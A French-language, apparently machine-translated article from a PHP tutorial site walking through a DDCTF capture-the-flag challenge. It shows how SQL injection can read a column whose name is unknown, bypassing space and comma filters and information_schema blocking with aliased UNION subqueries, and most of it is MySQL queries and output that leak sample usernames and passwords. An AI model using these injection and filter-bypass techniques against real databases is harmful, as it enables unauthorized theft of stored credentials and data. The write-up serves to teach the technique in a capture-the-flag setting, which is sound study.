Maison > Article > base de données > Explication détaillée de la façon dont Mysql contourne les noms de champs inconnus
Cet article vous présente principalement les informations pertinentes sur la façon dont Mysql peut contourner intelligemment les noms de champs inconnus. L'article donne des exemples de codes détaillés pour votre référence et votre étude. Il a une certaine valeur de référence et d'apprentissage pour apprendre MySQL. suivez Jetons un coup d'œil, j'espère que cela pourra aider tout le monde.
Avant-propos
Cet article présente la cinquième question du DDCTF, la technique de contournement des noms de champs inconnus. J'ai utilisé cette machine pour la faire fonctionner. L'idée est géniale et claire. Jetons un coup d'œil à l'introduction détaillée :
Idées d'implémentation
La question filtre les espaces et les virgules. Utilisez %0a, %0b, %0c, %0d, %a0 pour. des espaces, ou utiliser directement des parenthèses. Il peut être contourné en utilisant une jointure avec des virgules
Le nom du champ où l'indicateur est stocké est inconnu, information_schema.columns filtre également l'hexadécimal du nom de la table, c'est-à-dire le nom du champ. le nom du champ ne peut pas être obtenu ; dans ce cas, vous pouvez utiliser une requête conjointe, et le processus comme suit :
L'idée est d'obtenir le drapeau et de le laisser apparaître sous le nom du champ connu
Exemple de code :mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)Recommandations associées :
Explication détaillée de la façon d'activer le journal des requêtes lentes dans MySQL
Dix principes d'optimisation des instructions de base dans Mysql
Sur le serveur Linux Explication détaillée de la méthode de connexion à distance MySQL
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!